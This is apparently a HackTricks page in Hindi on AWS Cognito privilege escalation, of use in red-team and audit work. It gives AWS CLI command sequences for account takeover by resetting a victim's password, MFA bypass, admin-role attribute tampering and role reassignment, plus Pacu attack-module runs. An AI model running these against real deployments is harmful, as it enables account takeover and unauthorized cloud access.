AWS - Cognito Privesc

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Cognito

Cognito के बारे में अधिक जानकारी के लिए देखें:

AWS - Cognito Enum

Gathering credentials from Identity Pool

क्योंकि Cognito दोनों authenticated और unauthenticated users को IAM role credentials दे सकता है, यदि आप किसी एप्लिकेशन का Identity Pool ID (जो आमतौर पर उसमें हार्डकोडेड होता है) खोज लेते हैं, तो आप नए credentials प्राप्त कर सकते हैं और इसलिए privesc कर सकते हैं (एक AWS खाते के अंदर जहां आपके पास शायद पहले कोई credential भी नहीं था)।

अधिक जानकारी के लिए check this page.

Potential Impact: unauth users से जुड़े service role पर direct privesc (और संभवतः auth users से जुड़े role पर भी)।

cognito-identity:SetIdentityPoolRoles, iam:PassRole

इस permission के साथ आप cognito app के authenticated/unauthenticated users को grant any cognito role कर सकते हैं।

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

If the cognito app doesn’t have unauthenticated users enabled you might need also the permission cognito-identity:UpdateIdentityPool to enable it.

Potential Impact: किसी भी cognito role पर direct privesc।

cognito-identity:update-identity-pool

इस अनुमति वाला एक attacker उदाहरण के लिए अपने नियंत्रण में एक Cognito User Pool या किसी अन्य identity provider को सेट कर सकता है जहाँ वह login कर सके — और यह Cognito Identity Pool तक पहुँचने का एक तरीका बन जाएगा। फिर, बस उस user provider में login करने भर से उसे Identity Pool में configured authenticated role तक पहुँचने की अनुमति मिल जाएगी।

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

यह भी संभव है कि इस अनुमति का दुरुपयोग करके basic auth की अनुमति दी जा सके:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

संभावित प्रभाव: identity pool के अंदर कॉन्फ़िगर किए गए authenticated IAM role का Compromise।

cognito-idp:AdminAddUserToGroup

यह permission Cognito user को Cognito group में add करने की अनुमति देता है, इसलिए एक attacker इस permission का दुरुपयोग करके अपने नियंत्रण वाले user को बेहतर privileges या अलग IAM roles वाले अन्य groups में जोड़ सकता है:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

संभावित प्रभाव: Privesc to other Cognito groups and IAM roles attached to User Pool Groups.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

इन permissions वाले attacker create/update groups कर सकता है जिनमें every IAM role that can be used by a compromised Cognito Identity Provider शामिल हों और compromised user को उस group का हिस्सा बना कर उन सभी roles तक access कर सकता है:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

संभावित प्रभाव: Privesc to other Cognito IAM roles.

cognito-idp:AdminConfirmSignUp

यह अनुमति देती है कि एक साइनअप को सत्यापित किया जाए। डिफ़ॉल्ट रूप से कोई भी Cognito applications में साइन इन कर सकता है; यदि यह छोड़ दिया गया है, तो कोई उपयोगकर्ता किसी भी डेटा के साथ एक खाता बना सकता है और इस अनुमति का उपयोग करके उसे सत्यापित कर सकता है।

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Potential Impact: यदि आप एक नया उपयोगकर्ता पंजीकृत कर सकते हैं तो प्रमाणीकृत उपयोगकर्ताओं के लिए identity pool IAM role तक अप्रत्यक्ष privesc। किसी भी खाते की पुष्टि करने में सक्षम होने से अन्य ऐप कार्यक्षमताओं पर भी अप्रत्यक्ष privesc।

cognito-idp:AdminCreateUser

यह अनुमति attacker को user pool के अंदर एक नया उपयोगकर्ता बनाने की अनुमति देगी। नया उपयोगकर्ता enabled के रूप में बनाया जाता है, लेकिन उसे अपना password बदलना होगा।

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

संभावित प्रभाव: authenticated users के लिए identity pool IAM role पर direct privesc। किसी भी user को create करने में सक्षम अन्य app functionalities पर indirect privesc

cognito-idp:AdminEnableUser

यह permission एक बहुत ही edge-case परिदृश्य में काम आ सकता है, जहाँ attacker ने किसी disabled user के credentials पा लिए हों और उसे फिर से सक्षम करना आवश्यक हो।

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Potential Impact: प्रमाणीकृत उपयोगकर्ताओं के identity pool IAM role पर अप्रत्यक्ष privesc और यदि हमलावर के पास किसी निष्क्रिय उपयोगकर्ता के credentials हों तो उस उपयोगकर्ता की permissions।

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

यह अनुमति method ADMIN_USER_PASSWORD_AUTH. के साथ लॉगिन करने की अनुमति देती है। अधिक जानकारी के लिए लिंक देखें।

cognito-idp:AdminSetUserPassword

यह अनुमति हमलावर को किसी भी उपयोगकर्ता के लिए जानने योग्य पासवर्ड सेट करने की अनुमति दे सकती है, जो आमतौर पर सीधे खाते पर कब्जा (direct account takeover) का परिणाम होता है (विशेष रूप से यदि पीड़ित के पास MFA सक्षम नहीं है, या संबंधित auth flow/client के लिए MFA लागू नहीं किया गया है)।

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

सामान्य कार्यप्रवाह:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'

# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent

# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"

संबंधित अनुमति: cognito-idp:AdminResetUserPassword का उपयोग victim के लिए एक reset flow मजबूर करने के लिए किया जा सकता है (प्रभाव इस बात पर निर्भर करता है कि password recovery कैसे लागू की गई है और attacker क्या intercept या control कर सकता है)।

Potential Impact: किसी भी उपयोगकर्ता के खाते का कब्ज़ा; ऐप-लेयर विशेषाधिकारों (groups/roles/claims) तक पहुँच और Cognito tokens पर भरोसा करने वाली किसी भी डाउनस्ट्रीम चीज़ तक पहुँच; Identity Pool authenticated IAM roles तक संभावित पहुँच।

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: attacker संभावित रूप से इस अनुमति का दुरुपयोग करके अपने नियंत्रण वाले मोबाइल फोन को किसी उपयोगकर्ता के SMS MFA के रूप में सेट कर सकता है।

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: पिछले वाले की तरह, इस अनुमति का उपयोग किसी उपयोगकर्ता की MFA प्राथमिकताएँ सेट करने के लिए किया जा सकता है ताकि MFA सुरक्षा को bypass किया जा सके।

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: पिछले वाले की तरह, इस अनुमति का उपयोग user pool की MFA प्राथमिकताएँ सेट करने के लिए किया जा सकता है ताकि MFA सुरक्षा को bypass किया जा सके।

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: यह भी संभव है कि user pool को अपडेट करके MFA नीति बदल दी जाए। Check cli here.

Potential Impact: किसी भी ऐसे user के लिए अप्रत्यक्ष privesc जिसके credentials attacker के पास हों; इससे MFA सुरक्षा bypass हो सकती है।

cognito-idp:AdminUpdateUserAttributes

इस permission वाले attacker User Pool के किसी user के कोई भी बदलने योग्य attribute (शामिल करके custom:* attributes) को बदल सकता है ताकि underlying application में privileges हासिल करने की कोशिश कर सके।

एक सामान्य उच्च-प्रभाव पैटर्न है claim-based RBAC जो custom attributes का उपयोग करके लागू किया जाता है (उदाहरण के लिए custom:role=admin)। अगर application उस claim पर भरोसा करता है, तो उसे अपडेट करके और फिर re-authenticating करने से authorization को बिना app को छुए bypass किया जा सकता है।

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

उदाहरण: upgrade your own role and refresh tokens:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"

# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"

# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"

Potential Impact: ऐसे एप्लिकेशन में अप्रत्यक्ष privesc जब वे Cognito attributes/claims पर authorization के लिए भरोसा करते हैं; अन्य सुरक्षा-संबंधी attributes को बदलने की क्षमता (उदाहरण के लिए कुछ ऐप्स में email_verified या phone_number_verified को true सेट करना मायने रख सकता है)।

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

इस permission वाले attacker को मौजूदा pool clients की तुलना में कम प्रतिबंधित create a new User Pool Client less restricted करने की क्षमता मिल सकती है। उदाहरण के लिए, नया client किसी भी तरह के authenticate method की अनुमति दे सकता है, किसी secret के बिना हो सकता है, token revocation disabled हो सकता है, tokens को अधिक समय तक वैध रहने की अनुमति दे सकता है…

बिना नया client बनाए, किसी existing one is modified करने पर भी यही संभव है।

In the command line (or the update one) you can see all the options, check it!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

संभावित प्रभाव: Identity Pool द्वारा अधिकृत उपयोगकर्ता के लिए संभावित अप्रत्यक्ष privesc, जो User Pool द्वारा उपयोग किया जाता है, एक नया client बनाकर जो सुरक्षा उपायों को ढीला कर देता है और हमलावर को उस उपयोगकर्ता के साथ login करने में सक्षम बनाता जिसे उसने बनाया था।

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

एक हमलावर इस अनुमति का दुरुपयोग करके नए उपयोगकर्ताओं वाली एक CSV फ़ाइल अपलोड करके उपयोगकर्ता बना सकता है।

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(यदि आप एक नया import job बनाते हैं तो आपको iam passrole permission भी चाहिए हो सकता है, मैंने इसे अभी तक परखा नहीं है।)

संभावित प्रभाव: प्रमाणीकृत उपयोगकर्ताओं के लिए identity pool IAM role पर Direct privesc। किसी भी user को बनाने में सक्षम अन्य ऐप कार्यक्षमताओं पर Indirect privesc।

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

एक attacker नया identity provider बना सकता है ताकि वे इस provider के माध्यम से login कर सकें

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

संभावित प्रभाव: प्रमाणीकृत उपयोगकर्ताओं के लिए identity pool IAM role पर सीधा privesc। अन्य ऐप फंक्शनैलिटीज़ पर अप्रत्यक्ष privesc जो किसी भी user बना पाने में सक्षम हों।

cognito-sync:* विश्लेषण

यह Cognito Identity Pools के roles में डिफ़ॉल्ट रूप से एक बहुत सामान्य permission है। भले ही permissions में wildcard हमेशा ख़राब दिखता है (विशेषकर AWS से आने पर), दिए गए permissions attackers के दृष्टिकोण से बहुत उपयोगी नहीं हैं

यह permission Identity Pools की उपयोग जानकारी और Identity Pools के अंदर के Identity IDs को पढ़ने की अनुमति देता है (जो संवेदनशील जानकारी नहीं है).
Identity IDs में Datasets असाइन किए जा सकते हैं, जो sessions की जानकारी होते हैं (AWS इसे saved game की तरह परिभाषित करता है)। संभव है कि इनमें किसी प्रकार की संवेदनशील जानकारी हो (पर संभावना काफी कम है)। इस जानकारी तक पहुँचने का तरीका आप enumeration page पर पा सकते हैं।

एक attacker इन permissions का उपयोग इन datasets पर परिवर्तन प्रकाशित करने वाले Cognito stream में स्वयं को enroll करने या cognito events पर trigger होने वाले lambda को उपयोग करने के लिए भी कर सकता है। मैंने इसे प्रयोग में आते हुए नहीं देखा है, और मैं यहाँ संवेदनशील जानकारी की उम्मीद नहीं करूँगा, लेकिन यह असंभव नहीं है।

स्वचालित उपकरण

  • Pacu, the AWS exploitation framework, now includes the “cognito__enum” and “cognito__attack” modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.

For a description of the modules’ functions see part 2 of the blog post. For installation instructions see the main Pacu page.

उपयोग

Sample cognito__attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

cognito__enum का नमूना उपयोग वर्तमान AWS account में दिखाई देने वाले सभी user pools, user pool clients, identity pools, users आदि एकत्र करने के लिए:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner एक CLI tool है python में जो Cognito पर विभिन्न हमलों को लागू करता है, जिसमें privesc escalation भी शामिल है।

इंस्टॉलेशन

$ pip install cognito-scanner

उपयोग

$ cognito-scanner --help

अधिक जानकारी के लिए देखें https://github.com/padok-team/cognito-scanner

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें